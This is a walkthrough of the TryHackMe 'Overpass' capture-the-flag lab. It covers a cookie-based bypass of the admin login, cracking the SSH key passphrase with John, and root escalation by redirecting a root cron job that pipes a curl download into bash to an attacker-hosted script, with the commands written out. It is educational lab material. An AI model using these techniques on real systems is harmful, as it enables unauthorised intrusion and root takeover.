TryHackMe - Overpass

What happens when some broke CompSci students make a password manager?

Overpass-NYThruway-355.25-c



Scan with nmap

kali@kali:~/ctf/thm/overpass$ sudo nmap -sC -O -sV 10.10.183.194
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-24 19:40 PST
Nmap scan report for 10.10.183.194
Host is up (0.16s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
|   256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
|_  256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=1/24%OT=22%CT=1%CU=37143%PV=Y%DS=4%DC=I%G=Y%TM=600E3DE
OS:6%P=x86_64-pc-linux-gnu)SEQ(SP=FA%GCD=1%ISR=104%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M505ST11NW7%O2=M505ST11NW7%O3=M505NNT11NW7%O4=M505ST11NW7%O5=M505ST11
OS:NW7%O6=M505ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(
OS:R=Y%DF=Y%T=40%W=F507%O=M505NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)

Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.73 seconds

Web page

Poking around the web pages on the host shows a minimal description of the "product" which is a password manager. You can find out about the "team", downloads source and or binaries, and if you poke around enough, find a /admin page with a typical username and password form.

At first I downloaded the source for the password manager. It's straightforward in that it has a few commands for reading or writing passwords. The passwords are "encrypted" using rot47, and that's about it. Nothing to exploit in there for now.

I tried a few of the usual suspects on the login page, probing for SQLi, a little brute forcing before using the hint that it wasn't going to work (thank goodness, those get old after a while), and had to take a break to think about it some more. You can (and should) look at all of the source code for a page like this. The HTML shows nothing particularly interesting, but there is javascript on the login page that handles posting the username and password rather than allowing the browser to do it automatically via the form:

async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }
}

It occurred to me after a while that the only difference on the client side between a successful login and a failure was taking the else path which sets the "SessionToken" cookie and reloads the /admin page. I decided to try setting a cookie with that name to see what happens. I didn't even try to be clever about setting a value yet.

Broken Authentication

Broken authentication is in OWASP's Top 10 Web Application Security Risks and it's pretty much what this page suffers from. The mere presence of the "SessionToken" cookie, regardless of value, is enough to present us with different content for the admin page. This page displays a private key and a message.

Since you keep forgetting your password, James, I've set up SSH keys for you.

If you forget the password for this, crack it yourself. I'm tired of fixing stuff for you. Also, we really need to talk about this "Military Grade" encryption. - Paradox

Using the private key

I saved the private key to an id_rsa file, but in order to use it (presumably to log in via ssh) I was going to need to get the password for it. Our old pal John the Ripper might do the job.

First, convert the id_rsa file to something John can crack:

kali@kali:~/ctf/thm/overpass$ python ~/tools/ssh2john.py id_rsa > id_rsa.hash

Then try and crack it:

kali@kali:~/ctf/thm/overpass$ john id_rsa.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
james13          (id_rsa)

Logging in with ssh

Now we can connect to the machine via ssh using the id_rsa private key for authentication and the password we cracked for it. We can guess at a username of james as well since the message mentioned it.

kali@kali:~/ctf/thm/overpass$ ssh -i id_rsa james@10.10.183.194
The authenticity of host '10.10.183.194 (10.10.183.194)' can't be established.
ECDSA key fingerprint is SHA256:4P0PNh/u8bKjshfc6DBYwWnjk1Txh5laY/WbVPrCUdY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.183.194' (ECDSA) to the list of known hosts.
Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Jan 25 03:59:15 UTC 2021

  System load:  0.08               Processes:           88
  Usage of /:   22.3% of 18.57GB   Users logged in:     0
  Memory usage: 12%                IP address for eth0: 10.10.183.194
  Swap usage:   0%


47 packages can be updated.
0 updates are security updates.


Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1
james@overpass-prod:~$ 

Got user.txt?

james@overpass-prod:~$ ls -la
total 48
drwxr-xr-x 6 james james 4096 Jun 27  2020 .
drwxr-xr-x 4 root  root  4096 Jun 27  2020 ..
lrwxrwxrwx 1 james james    9 Jun 27  2020 .bash_history -> /dev/null
-rw-r--r-- 1 james james  220 Jun 27  2020 .bash_logout
-rw-r--r-- 1 james james 3771 Jun 27  2020 .bashrc
drwx------ 2 james james 4096 Jun 27  2020 .cache
drwx------ 3 james james 4096 Jun 27  2020 .gnupg
drwxrwxr-x 3 james james 4096 Jun 27  2020 .local
-rw-r--r-- 1 james james   49 Jun 27  2020 .overpass
-rw-r--r-- 1 james james  807 Jun 27  2020 .profile
drwx------ 2 james james 4096 Jun 27  2020 .ssh
-rw-rw-r-- 1 james james  438 Jun 27  2020 todo.txt
-rw-rw-r-- 1 james james   38 Jun 27  2020 user.txt
james@overpass-prod:~$ cat user.txt
thm{********************************}

How to get root.txt?

I've become fond of using LinPEAS to quickly look for ways to escalate privileges. I'm also tending to remember to check sudo -l first just in case that turns something up first. In this case LinPEAS points out there is a cron job set to run as root every minute:

james@overpass-prod:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

So this very dangerous cron job downloads buildscript.sh and pipes it to bash. Maybe we can alter the content of buildscript.sh or what this job downloads?

overpass.thm

But what is overpass.thm? Some kind of host that this machine can resolve... "thm" is not a gTLD but there are other ways than DNS for a hostname to be resolved.

james@overpass-prod:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 overpass-prod
127.0.0.1 overpass.thm
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
james@overpass-prod:~$ ll /etc/hosts
-rw-rw-rw- 1 root root 250 Jun 27  2020 /etc/hosts

/etc/hosts reveals that overpass.thm is at 127.0.0.1 which is this localhost. But notice that the /etc/hosts file is world writeable. This means we can change that IP address to something else. Like a machine we control, our attacker machine.

Attacker web server

First we make up a new buildscript.sh to do something we want. Since it will be executed by root on the victim machine, we can do anything we want. In the interest of time, I like guessing at where I will find the root.txt file and just copying it somewhere we have access to and making it readable:

cp /root/root.txt /home/james/root.txt && chmod 666 /home/james/root.txt

With our directory laid out like this, a simple way to run a web server is using python.

kali@kali:~/ctf/thm/overpass$ ll -R
.:
total 2688
-rwxr-xr-x 1 kali kali     495 Nov 17 21:21 buildscript.sh
drwxr-xr-x 3 kali kali    4096 Jan 24 16:57 downloads
-rw------- 1 kali kali    1765 Jan 24 15:56 id_rsa
-rw-r--r-- 1 kali kali    2458 Jan 24 19:55 id_rsa.hash
-rw-r--r-- 1 kali kali    5094 Nov 17 21:16 overpass.go
-rwxr-xr-x 1 kali kali 2722020 Nov 17 21:29 overpassLinux

./downloads:
total 4
drwxr-xr-x 2 kali kali 4096 Jan 24 17:01 src

./downloads/src:
total 4
-rw-r--r-- 1 kali kali 73 Jan 24 16:58 buildscript.sh

kali@kali:~/ctf/thm/overpass$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...                                                                                                                                                                                   
10.10.183.194 - - [24/Jan/2021 20:17:23] "GET /downloads/src/buildscript.sh HTTP/1.1" 200 - 

We can see that after a minute, something (the victim machine) requested the buildscript.sh file and it was successful (200). Switching back to the victim machine confirms it worked:

james@overpass-prod:~$ ll
total 56
drwxr-xr-x 6 james james 4096 Jan 25 04:20 ./
drwxr-xr-x 4 root  root  4096 Jun 27  2020 ../
lrwxrwxrwx 1 james james    9 Jun 27  2020 .bash_history -> /dev/null
-rw-r--r-- 1 james james  220 Jun 27  2020 .bash_logout
-rw-r--r-- 1 james james 3771 Jun 27  2020 .bashrc
drwx------ 2 james james 4096 Jun 27  2020 .cache/
drwx------ 3 james james 4096 Jun 27  2020 .gnupg/
drwxrwxr-x 3 james james 4096 Jun 27  2020 .local/
-rw-r--r-- 1 james james   49 Jun 27  2020 .overpass
-rw-r--r-- 1 james james  807 Jun 27  2020 .profile
drwx------ 2 james james 4096 Jun 27  2020 .ssh/
-rw------- 1 james james  811 Jan 25 04:17 .viminfo
-rw-rw-rw- 1 root  root    38 Jan 25 04:20 root.txt
-rw-rw-r-- 1 james james  438 Jun 27  2020 todo.txt
-rw-rw-r-- 1 james james   38 Jun 27  2020 user.txt
james@overpass-prod:~$ cat root.txt
thm{********************************}

Bonus

The CTF was written a while ago and mentions there is an additional flag. The first person to get that flag and submit it wins a TryHackMe subscription code. I decided it had already been achieved and didn't bother. One imagines once you are executing code as root you can do anything like make the tryhackme home directory readable etc.

Ok, I lied. Now that I've written this up I decided to look into it. I altered the buildscript.sh to make /home/tryhackme world read-writeable. Inside the directory is a .overpass file. We can copy its contents to our own ~/.overpass file and run the overpassLinux program to "decrypt" it.

james@overpass-prod:/home/tryhackme$ cat .overpass 
,LQ?2>6QiQ%CJw24<|6 $F3D4C:AE:@? r@56Q[QA2DDQiQ8>%sJ=QN.

kali@kali:~/ctf/thm/overpass$ ./overpassLinux 
Welcome to Overpass
Options:
1       Retrieve Password For Service
2       Set or Update Password For Service
3       Delete Password For Service
4       Retrieve All Passwords
5       Exit
Choose an option:       4
TryHackMe Subscription Code      gmTDyl